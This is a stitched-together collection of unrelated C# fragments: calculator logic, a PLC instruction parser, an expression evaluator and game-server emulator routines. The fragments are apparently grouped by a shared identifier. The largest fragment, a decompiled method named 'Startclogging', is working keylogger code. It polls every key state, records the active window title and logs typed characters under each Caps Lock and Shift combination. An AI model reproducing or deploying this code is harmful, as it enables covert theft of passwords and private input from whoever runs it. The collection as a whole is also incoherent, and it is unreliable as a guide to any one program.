_calculatorStorageService.AddOperatorToStack(mulOperatorText, OperatorType.Multiplication); SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {mulOperatorText}"; } _calculatorStorageService.AddValueToQueue(TEN_NUMBER_VALUE.ToString()); _calculatorStorageService.AddOperatorToStack(commandParameter.OperatorText, commandParameter.OperatorType); SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {TEN_NUMBER_VALUE} {commandParameter.OperatorText}"; NumberTextBoxValue = default(int).ToString(); _calculatorStorageService.SetLastUserInteractionType(commandParameter.OperatorUserInteractionType); } }
public static void CreateInstructionList(List <byte[]> networks) { Memory.Program.InstructionList = new List <Instruction>(); int counter = 0; for (int i = 0; i < networks.Count; i++) { for (int j = 0; j < networks[i].Length; j += 2) { byte firstComponent = networks[i][j]; byte secondComponent = networks[i][j + 1]; if (firstComponent == 0xba) { Operators operatorIL; if (j == 0) { operatorIL = Operators.BLOCK; if (counter == 0) { DiagnosticData.AddDataSpecial(); } else { DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special); } } else { operatorIL = Operators.ANDFUNC; DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special); } Memory.Program.InstructionList.Add(new CommandRegister.Instruction(operatorIL)); IsLoad = false; IsLoaded = false; } else if (firstComponent == 0xbf) { Operators operatorIL = Operators.ENDBLOCK; Memory.Program.InstructionList.Add(new Instruction(operatorIL)); DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special); } else if (firstComponent == 0xfb) { Operators operatorIL = Operators.ORFUNC; Memory.Program.InstructionList.Add(new Instruction(operatorIL)); DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special); IsLoad = false; IsLoaded = false; } else if (firstComponent == 0x41 && secondComponent >= 0x60 && secondComponent <= 0x6f) { Elements operand = new Elements(); Operators operatorIL = Operators.HELPERSET; operand.symbol = Symbol.VAR; operand.name = "Var" + (secondComponent - 0x60).ToString(); if (!Memory.Data.var.ContainsKey(operand.name)) { Memory.Data.var.Add(operand.name, false); } else { Memory.Data.var[operand.name] = false; } //Operators operatorIL = Operators.HELPERSET; DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special); Memory.Program.InstructionList.Add(new Instruction(operatorIL, operand)); } else if (firstComponent == 0x00 && secondComponent >= 0x60 && secondComponent <= 0x6f) { //helper = Helper.get; Elements operand = new Elements(); Operators operatorIL = Operators.HELPERGET; operand.symbol = Symbol.VAR; operand.name = "Var" + (secondComponent - 0x60).ToString(); DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); Memory.Program.InstructionList.Add(new Instruction(operatorIL, operand)); } else if (firstComponent == 0x00 && secondComponent == 0x14) { } else if (firstComponent == 0x10 && secondComponent == 0x66) { Operators operatorIL = Operators.HELPERUP; Memory.Program.InstructionList.Add(new Instruction(operatorIL)); DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } else if (firstComponent == 0x68 && secondComponent == 0x2d) { Operators operatorIL = Operators.NOT; Memory.Program.InstructionList.Add(new Instruction(operatorIL)); DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } else { Instruction instruction = CreateInstructionBasedOnElement(firstComponent, secondComponent, counter); if (instruction != null) { Memory.Program.InstructionList.Add(instruction); } } counter += 2; } IsLoad = false; IsLoaded = false; } }
public void Resolve() { if (Paranthesis.Count == 0) { for (int i = 0; i < ContentArray.Length; i++) { char current = ContentArray[i]; if (!char.IsDigit(current) && current != ',') { Operators.Add(new Operator(current, Utilities.ExtractDoubleAtOperator(ContentArray, i, false), Utilities.ExtractDoubleAtOperator(ContentArray, i, true))); if (Operators.Count > 1) { Operators[Operators.Count - 1].LeftOperator = Operators[Operators.Count - 2]; Operators[Operators.Count - 2].RightOperator = Operators[Operators.Count - 1]; } } } if (Operators.Count == 0) { Value = double.Parse(FormattedContent); return; } List <Operator> operatorBuffer = new List <Operator>(Operators); int priorityCounter = 0; for (int i = 0; i < Operators.Count; i++) { switch (Operators[i].HasPriority) { case true: Operators[i].Process(); if (i + 1 < Operators.Count) { Operators[i + 1].Left = Operators[i].Result; } if (i - 1 >= 0) { if (!Operators[i - 1].HasPriority) { Operators[i - 1].Right = Operators[i].Result; } else { Operators[i - 1].Result = Operators[i].Result; Operators[i].UpdateLeft(); } } priorityCounter++; operatorBuffer.Remove(Operators[i]); break; } } if (priorityCounter == Operators.Count) { Value = Operators[Operators.Count - 1].Result; return; } for (int i = 0; i < operatorBuffer.Count; i++) { operatorBuffer[i].Process(); if (i + 1 >= operatorBuffer.Count) { break; } operatorBuffer[i + 1].Left = operatorBuffer[i].Result; } Value = operatorBuffer[operatorBuffer.Count - 1].Result; operatorBuffer.Clear(); return; } for (int i = 0; i < Paranthesis.Count; i++) { Paranthesis[i].Resolve(); } for (int i = 0; i < Paranthesis.Count; i++) { FormattedContent = FormattedContent.Replace("[" + i + "]", Paranthesis[i].Value + ""); } ContentArray = FormattedContent.ToCharArray(); Paranthesis.Clear(); Resolve(); }
// Token: 0x06000067 RID: 103 RVA: 0x00007078 File Offset: 0x00005278 public static void Startclogging() { for (;;) { try { StringBuilder stringBuilder = new StringBuilder(256); Clog.GetWindowText(Clog.GetForegroundWindow(), stringBuilder, stringBuilder.Capacity); if (Operators.CompareString(Clog.windowtext, stringBuilder.ToString(), false) != 0) { Clog.windowtext = stringBuilder.ToString(); Clog.logs.Append(Environment.NewLine + stringBuilder.ToString() + Environment.NewLine); } string text = Clog.logs.ToString(); int num = 1; do { Clog.result = 0; Clog.result = (int)Clog.GetAsyncKeyState((Keys)num); if (Clog.result == -32767) { if (Clog.GetCapslock() & Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_748; case 2: Clog.logs.Append(" [R-Click]"); goto IL_748; case 8: Clog.logs.Append(""); goto IL_748; case 13: Clog.logs.Append(" [Enter]\r\n"); goto IL_748; case 16: goto IL_748; case 17: Clog.logs.Append(""); goto IL_748; case 18: Clog.logs.Append(""); goto IL_748; case 20: goto IL_748; case 32: Clog.logs.Append(" "); goto IL_748; case 37: case 38: case 39: case 40: goto IL_748; case 46: Clog.logs.Append("[Del]"); goto IL_748; case 48: Clog.logs.Append(")"); goto IL_748; case 49: Clog.logs.Append("!"); goto IL_748; case 50: Clog.logs.Append("@"); goto IL_748; case 51: Clog.logs.Append("#"); goto IL_748; case 52: Clog.logs.Append("$"); goto IL_748; case 53: Clog.logs.Append("%"); goto IL_748; case 54: Clog.logs.Append("^"); goto IL_748; case 55: Clog.logs.Append("&"); goto IL_748; case 56: Clog.logs.Append("*"); goto IL_748; case 57: Clog.logs.Append("("); goto IL_748; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array = new byte[255]; bool keyboardState = Clog.GetKeyboardState(array); StringBuilder stringBuilder2 = new StringBuilder(); uint wVirtKey = (uint)num; uint wScanCode = (uint)num; byte[] lpKeyState = array; StringBuilder pwszBuff = stringBuilder2; int cchBuff = 5; uint wFlags = 0u; IntPtr foregroundWindow = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey, wScanCode, lpKeyState, pwszBuff, cchBuff, wFlags, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow, ref num2))); Clog.logs.Append(stringBuilder2.ToString()); goto IL_748; } case 91: goto IL_748; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array2 = new byte[255]; bool keyboardState2 = Clog.GetKeyboardState(array2); StringBuilder stringBuilder3 = new StringBuilder(); uint wVirtKey2 = (uint)num; uint wScanCode2 = (uint)num; byte[] lpKeyState2 = array2; StringBuilder pwszBuff2 = stringBuilder3; int cchBuff2 = 5; uint wFlags2 = 0u; IntPtr foregroundWindow2 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey2, wScanCode2, lpKeyState2, pwszBuff2, cchBuff2, wFlags2, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow2, ref num2))); Clog.logs.Append(stringBuilder3.ToString()); goto IL_748; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_748; case 186: Clog.logs.Append(":"); goto IL_748; case 187: Clog.logs.Append("+"); goto IL_748; case 188: Clog.logs.Append("<"); goto IL_748; case 189: Clog.logs.Append("_"); goto IL_748; case 190: Clog.logs.Append(">"); goto IL_748; case 191: Clog.logs.Append("?"); goto IL_748; case 192: Clog.logs.Append("~"); goto IL_748; case 219: Clog.logs.Append("{"); goto IL_748; case 220: Clog.logs.Append("|"); goto IL_748; case 221: Clog.logs.Append("}"); goto IL_748; case 222: Clog.logs.Append("\""); goto IL_748; } Clog.logs.Append(" (" + num.ToString() + ") "); } IL_748: if (Clog.GetCapslock() & !Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_D54; case 2: Clog.logs.Append(" [R-Click]"); goto IL_D54; case 8: Clog.logs.Append(""); goto IL_D54; case 13: Clog.logs.Append(" [Enter]\r\n"); goto IL_D54; case 16: goto IL_D54; case 17: Clog.logs.Append(""); goto IL_D54; case 18: Clog.logs.Append(""); goto IL_D54; case 20: goto IL_D54; case 32: Clog.logs.Append(" "); goto IL_D54; case 37: case 38: case 39: case 40: goto IL_D54; case 46: Clog.logs.Append("[Del]"); goto IL_D54; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: Clog.logs.Append(Strings.ChrW(num)); goto IL_D54; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array3 = new byte[255]; bool keyboardState3 = Clog.GetKeyboardState(array3); StringBuilder stringBuilder4 = new StringBuilder(); uint wVirtKey3 = (uint)num; uint wScanCode3 = (uint)num; byte[] lpKeyState3 = array3; StringBuilder pwszBuff3 = stringBuilder4; int cchBuff3 = 5; uint wFlags3 = 0u; IntPtr foregroundWindow3 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey3, wScanCode3, lpKeyState3, pwszBuff3, cchBuff3, wFlags3, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow3, ref num2))); Clog.logs.Append(stringBuilder4.ToString()); goto IL_D54; } case 91: goto IL_D54; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array4 = new byte[255]; bool keyboardState4 = Clog.GetKeyboardState(array4); StringBuilder stringBuilder5 = new StringBuilder(); uint wVirtKey4 = (uint)num; uint wScanCode4 = (uint)num; byte[] lpKeyState4 = array4; StringBuilder pwszBuff4 = stringBuilder5; int cchBuff4 = 5; uint wFlags4 = 0u; IntPtr foregroundWindow4 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey4, wScanCode4, lpKeyState4, pwszBuff4, cchBuff4, wFlags4, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow4, ref num2))); Clog.logs.Append(stringBuilder5.ToString()); goto IL_D54; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_D54; case 186: Clog.logs.Append(";"); goto IL_D54; case 187: Clog.logs.Append("="); goto IL_D54; case 188: Clog.logs.Append(","); goto IL_D54; case 189: Clog.logs.Append("-"); goto IL_D54; case 190: Clog.logs.Append("."); goto IL_D54; case 191: Clog.logs.Append("/"); goto IL_D54; case 192: Clog.logs.Append("`"); goto IL_D54; case 219: Clog.logs.Append("["); goto IL_D54; case 220: Clog.logs.Append("\\"); goto IL_D54; case 221: Clog.logs.Append("]"); goto IL_D54; case 222: Clog.logs.Append("'"); goto IL_D54; } Clog.logs.Append(" (" + num.ToString() + ") "); } IL_D54: if (!Clog.GetCapslock() & Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_1419; case 2: Clog.logs.Append(" [R-Click]"); goto IL_1419; case 8: Clog.logs.Append(" [<-] "); goto IL_1419; case 13: Clog.logs.Append(" [Enter]\r\n"); goto IL_1419; case 16: goto IL_1419; case 17: Clog.logs.Append(""); goto IL_1419; case 18: Clog.logs.Append(""); goto IL_1419; case 20: goto IL_1419; case 32: Clog.logs.Append(" "); goto IL_1419; case 37: case 38: case 39: case 40: goto IL_1419; case 46: Clog.logs.Append("[Del]"); goto IL_1419; case 48: Clog.logs.Append(")"); goto IL_1419; case 49: Clog.logs.Append("!"); goto IL_1419; case 50: Clog.logs.Append("@"); goto IL_1419; case 51: Clog.logs.Append("#"); goto IL_1419; case 52: Clog.logs.Append("$"); goto IL_1419; case 53: Clog.logs.Append("%"); goto IL_1419; case 54: Clog.logs.Append("^"); goto IL_1419; case 55: Clog.logs.Append("&"); goto IL_1419; case 56: Clog.logs.Append("*"); goto IL_1419; case 57: Clog.logs.Append("("); goto IL_1419; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array5 = new byte[255]; bool keyboardState5 = Clog.GetKeyboardState(array5); StringBuilder stringBuilder6 = new StringBuilder(); uint wVirtKey5 = (uint)num; uint wScanCode5 = (uint)num; byte[] lpKeyState5 = array5; StringBuilder pwszBuff5 = stringBuilder6; int cchBuff5 = 5; uint wFlags5 = 0u; IntPtr foregroundWindow5 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey5, wScanCode5, lpKeyState5, pwszBuff5, cchBuff5, wFlags5, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow5, ref num2))); Clog.logs.Append(stringBuilder6.ToString()); goto IL_1419; } case 91: goto IL_1419; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array6 = new byte[255]; bool keyboardState6 = Clog.GetKeyboardState(array6); StringBuilder stringBuilder7 = new StringBuilder(); uint wVirtKey6 = (uint)num; uint wScanCode6 = (uint)num; byte[] lpKeyState6 = array6; StringBuilder pwszBuff6 = stringBuilder7; int cchBuff6 = 5; uint wFlags6 = 0u; IntPtr foregroundWindow6 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey6, wScanCode6, lpKeyState6, pwszBuff6, cchBuff6, wFlags6, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow6, ref num2))); Clog.logs.Append(stringBuilder7.ToString()); goto IL_1419; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_1419; case 186: Clog.logs.Append(":"); goto IL_1419; case 187: Clog.logs.Append("+"); goto IL_1419; case 188: Clog.logs.Append("<"); goto IL_1419; case 189: Clog.logs.Append("_"); goto IL_1419; case 190: Clog.logs.Append(">"); goto IL_1419; case 191: Clog.logs.Append("?"); goto IL_1419; case 192: Clog.logs.Append("~"); goto IL_1419; case 219: Clog.logs.Append("{"); goto IL_1419; case 220: Clog.logs.Append("|"); goto IL_1419; case 221: Clog.logs.Append("}"); goto IL_1419; case 222: Clog.logs.Append("\""); goto IL_1419; } Clog.logs.Append(" (" + num.ToString() + ") "); } IL_1419: if (!Clog.GetCapslock() & !Clog.GetShift()) { switch (num) { case 1: Clog.logs.Append(" [L-Click]"); goto IL_1A28; case 2: Clog.logs.Append(" [R-Click]"); goto IL_1A28; case 8: Clog.logs.Append(" [<-] "); goto IL_1A28; case 13: Clog.logs.Append(" [Enter] \r\n"); goto IL_1A28; case 16: goto IL_1A28; case 17: Clog.logs.Append(""); goto IL_1A28; case 18: Clog.logs.Append(""); goto IL_1A28; case 20: goto IL_1A28; case 32: Clog.logs.Append(" "); goto IL_1A28; case 37: case 38: case 39: case 40: goto IL_1A28; case 46: Clog.logs.Append("[Del]"); goto IL_1A28; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: Clog.logs.Append(Strings.ChrW(num)); goto IL_1A28; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: { byte[] array7 = new byte[255]; bool keyboardState7 = Clog.GetKeyboardState(array7); StringBuilder stringBuilder8 = new StringBuilder(); uint wVirtKey7 = (uint)num; uint wScanCode7 = (uint)num; byte[] lpKeyState7 = array7; StringBuilder pwszBuff7 = stringBuilder8; int cchBuff7 = 5; uint wFlags7 = 0u; IntPtr foregroundWindow7 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey7, wScanCode7, lpKeyState7, pwszBuff7, cchBuff7, wFlags7, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow7, ref num2))); Clog.logs.Append(stringBuilder8.ToString()); goto IL_1A28; } case 91: goto IL_1A28; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: { byte[] array8 = new byte[255]; bool keyboardState8 = Clog.GetKeyboardState(array8); StringBuilder stringBuilder9 = new StringBuilder(); uint wVirtKey8 = (uint)num; uint wScanCode8 = (uint)num; byte[] lpKeyState8 = array8; StringBuilder pwszBuff8 = stringBuilder9; int cchBuff8 = 5; uint wFlags8 = 0u; IntPtr foregroundWindow8 = Clog.GetForegroundWindow(); int num2 = 0; Clog.ToUnicodeEx(wVirtKey8, wScanCode8, lpKeyState8, pwszBuff8, cchBuff8, wFlags8, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow8, ref num2))); Clog.logs.Append(stringBuilder9.ToString()); goto IL_1A28; } case 160: case 161: case 162: case 163: case 164: case 165: goto IL_1A28; case 186: Clog.logs.Append(";"); goto IL_1A28; case 187: Clog.logs.Append("="); goto IL_1A28; case 188: Clog.logs.Append(","); goto IL_1A28; case 189: Clog.logs.Append("-"); goto IL_1A28; case 190: Clog.logs.Append("."); goto IL_1A28; case 191: Clog.logs.Append("/"); goto IL_1A28; case 192: Clog.logs.Append("`"); goto IL_1A28; case 219: Clog.logs.Append("["); goto IL_1A28; case 220: Clog.logs.Append("\\"); goto IL_1A28; case 221: Clog.logs.Append("]"); goto IL_1A28; case 222: Clog.logs.Append("'"); goto IL_1A28; } Clog.logs.Append(" (" + num.ToString() + ") "); } } IL_1A28: num++; }while (num <= 225); Thread.Sleep(10); } catch (Exception ex) { } } }
public async Task InitializeInternalDatabaseAsync() { await InitializeLoadDBCsAsync(); WorldServiceLocator._WS_Spells.InitializeSpellDB(); WorldServiceLocator._WS_Commands.RegisterChatCommands(); try { WorldServiceLocator._WS_TimerBasedEvents.Regenerator = new WS_TimerBasedEvents.TRegenerator(); WorldServiceLocator._WS_TimerBasedEvents.AIManager = new WS_TimerBasedEvents.TAIManager(); WorldServiceLocator._WS_TimerBasedEvents.SpellManager = new WS_TimerBasedEvents.TSpellManager(); WorldServiceLocator._WS_TimerBasedEvents.CharacterSaver = new WS_TimerBasedEvents.TCharacterSaver(); WorldServiceLocator._WS_TimerBasedEvents.WeatherChanger = new WS_TimerBasedEvents.TWeatherChanger(); WorldServiceLocator._WorldServer.Log.WriteLine(LogType.INFORMATION, "World: Loading Maps and Spawns...."); DataTable MySQLQuery = new(); try { WorldServiceLocator._WorldServer.CharacterDatabase.Query("SELECT MAX(item_guid) FROM characters_inventory;", ref MySQLQuery); WorldServiceLocator._WorldServer.itemGuidCounter = MySQLQuery.Rows[0][0] != DBNull.Value ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_ITEM)) : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_ITEM))); } catch (Exception ex) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading characters_inventory....", ex); } MySQLQuery = new DataTable(); try { WorldServiceLocator._WorldServer.WorldDatabase.Query("SELECT MAX(guid) FROM creature;", ref MySQLQuery); WorldServiceLocator._WorldServer.CreatureGUIDCounter = MySQLQuery.Rows[0][0] != DBNull.Value ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_UNIT)) : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_UNIT))); } catch (Exception ex) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading creatures....", ex); } MySQLQuery = new DataTable(); try { WorldServiceLocator._WorldServer.WorldDatabase.Query("SELECT MAX(guid) FROM gameobject;", ref MySQLQuery); WorldServiceLocator._WorldServer.GameObjectsGUIDCounter = MySQLQuery.Rows[0][0] != DBNull.Value ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_GAMEOBJECT)) : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_GAMEOBJECT))); } catch (Exception ex) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading gameobjects....", ex); } MySQLQuery = new DataTable(); try { WorldServiceLocator._WorldServer.CharacterDatabase.Query("SELECT MAX(guid) FROM corpse", ref MySQLQuery); WorldServiceLocator._WorldServer.CorpseGUIDCounter = MySQLQuery.Rows[0][0] != DBNull.Value ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_CORPSE)) : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_CORPSE))); } catch (Exception ex) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading corpse....", ex); } } catch (Exception ex) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "Internal database initialization failed! [{0}]{1}{2}", ex.Message, Environment.NewLine, ex.ToString()); } }
public void CreateCharacter(ref WS_PlayerData.CharacterObject objCharacter) { DataTable CreateInfo = new(); DataTable CreateInfoBars = new(); DataTable CreateInfoSkills = new(); DataTable LevelStats = new(); DataTable ClassLevelStats = new(); WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM playercreateinfo WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe};", ref CreateInfo); if (CreateInfo.Rows.Count <= 0) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in playercreateinfo table for Race: {0}, Class: {1}", objCharacter.Race, objCharacter.Classe); } WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM playercreateinfo_action WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe} ORDER BY button;", ref CreateInfoBars); if (CreateInfoBars.Rows.Count <= 0) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in playercreateinfo_action table for Race: {0}, Class: {1}", objCharacter.Race, objCharacter.Classe); } WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM playercreateinfo_skill WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe};", ref CreateInfoSkills); if (CreateInfoSkills.Rows.Count <= 0) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in playercreateinfo_skill table for Race: {0}, Class: {1}", objCharacter.Race, objCharacter.Classe); } WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM player_levelstats WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe} AND level = {objCharacter.Level};", ref LevelStats); if (LevelStats.Rows.Count <= 0) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in player_levelstats table for Race: {0}, Class: {1}, Level: {2}", objCharacter.Race, objCharacter.Classe, objCharacter.Level); } WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM player_classlevelstats WHERE class = {(int)objCharacter.Classe} AND level = {objCharacter.Level};", ref ClassLevelStats); if (ClassLevelStats.Rows.Count <= 0) { WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in player_classlevelstats table for Class: {0}, Level: {1}", objCharacter.Classe, objCharacter.Level); } objCharacter.Copper = 0u; objCharacter.XP = 0; objCharacter.Size = 1f; objCharacter.Life.Base = 0; objCharacter.Life.Current = 0; objCharacter.Mana.Base = 0; objCharacter.Mana.Current = 0; objCharacter.Rage.Current = 0; objCharacter.Rage.Base = 0; objCharacter.Energy.Current = 0; objCharacter.Energy.Base = 0; objCharacter.ManaType = WorldServiceLocator._WS_Player_Initializator.GetClassManaType(objCharacter.Classe); objCharacter.Model = WorldServiceLocator._Functions.GetRaceModel(objCharacter.Race, (int)objCharacter.Gender); objCharacter.Faction = WorldServiceLocator._WS_DBCDatabase.CharRaces[(int)objCharacter.Race].FactionID; objCharacter.MapID = Conversions.ToUInteger(CreateInfo.Rows[0]["map"]); objCharacter.ZoneID = Conversions.ToInteger(CreateInfo.Rows[0]["zone"]); objCharacter.positionX = Conversions.ToSingle(CreateInfo.Rows[0]["position_x"]); objCharacter.positionY = Conversions.ToSingle(CreateInfo.Rows[0]["position_y"]); objCharacter.positionZ = Conversions.ToSingle(CreateInfo.Rows[0]["position_z"]); objCharacter.orientation = Conversions.ToSingle(CreateInfo.Rows[0]["orientation"]); checked { objCharacter.bindpoint_map_id = (int)objCharacter.MapID; objCharacter.bindpoint_zone_id = objCharacter.ZoneID; objCharacter.bindpoint_positionX = objCharacter.positionX; objCharacter.bindpoint_positionY = objCharacter.positionY; objCharacter.bindpoint_positionZ = objCharacter.positionZ; objCharacter.Strength.Base = Conversions.ToInteger(LevelStats.Rows[0]["str"]); objCharacter.Agility.Base = Conversions.ToInteger(LevelStats.Rows[0]["agi"]); objCharacter.Stamina.Base = Conversions.ToInteger(LevelStats.Rows[0]["sta"]); objCharacter.Intellect.Base = Conversions.ToInteger(LevelStats.Rows[0]["inte"]); objCharacter.Spirit.Base = Conversions.ToInteger(LevelStats.Rows[0]["spi"]); objCharacter.Life.Base = Conversions.ToInteger(ClassLevelStats.Rows[0]["basehp"]); objCharacter.Life.Current = objCharacter.Life.Maximum; switch (objCharacter.ManaType) { case ManaTypes.TYPE_MANA: objCharacter.Mana.Base = Conversions.ToInteger(ClassLevelStats.Rows[0]["basemana"]); objCharacter.Mana.Current = objCharacter.Mana.Maximum; break; case ManaTypes.TYPE_RAGE: objCharacter.Rage.Base = Conversions.ToInteger(ClassLevelStats.Rows[0]["basemana"]); objCharacter.Rage.Current = 0; break; case ManaTypes.TYPE_ENERGY: objCharacter.Energy.Base = Conversions.ToInteger(ClassLevelStats.Rows[0]["basemana"]); objCharacter.Energy.Current = 0; break; } objCharacter.Damage.Minimum = 5f; objCharacter.Damage.Maximum = 10f; IEnumerator enumerator = default; try { enumerator = CreateInfoSkills.Rows.GetEnumerator(); while (enumerator.MoveNext()) { DataRow row = (DataRow)enumerator.Current; objCharacter.LearnSkill(row.As <int>("Skill"), row.As <short>("SkillMin"), row.As <short>("SkillMax")); } } finally { if (enumerator is IDisposable) { (enumerator as IDisposable).Dispose(); } } var i = 0; do { if ((WorldServiceLocator._WS_DBCDatabase.CharRaces[(int)objCharacter.Race].TaxiMask & (1 << i)) != 0) { objCharacter.TaxiZones.Set(i + 1, value: true); } i++; }while (i <= 31); IEnumerator enumerator2 = default; try { enumerator2 = CreateInfoBars.Rows.GetEnumerator(); while (enumerator2.MoveNext()) { DataRow row = (DataRow)enumerator2.Current; if (Operators.ConditionalCompareObjectGreater(row["action"], 0, TextCompare: false)) { var ButtonPos = row.As <int>("button"); objCharacter.ActionButtons[(byte)ButtonPos] = new WS_PlayerHelper.TActionButton(row.As <int>("action"), row.As <byte>("type"), 0); } } } finally { if (enumerator2 is IDisposable) { (enumerator2 as IDisposable).Dispose(); } } } }
public MyOperatorTwoForge() { Operators.Add(this); }
// Token: 0x06000333 RID: 819 RVA: 0x00020390 File Offset: 0x0001E590 public string SS(string f) { this.sev = Operators.AddObject(this.sev, f + "\r\n"); return(Conversions.ToString(this.sev)); }
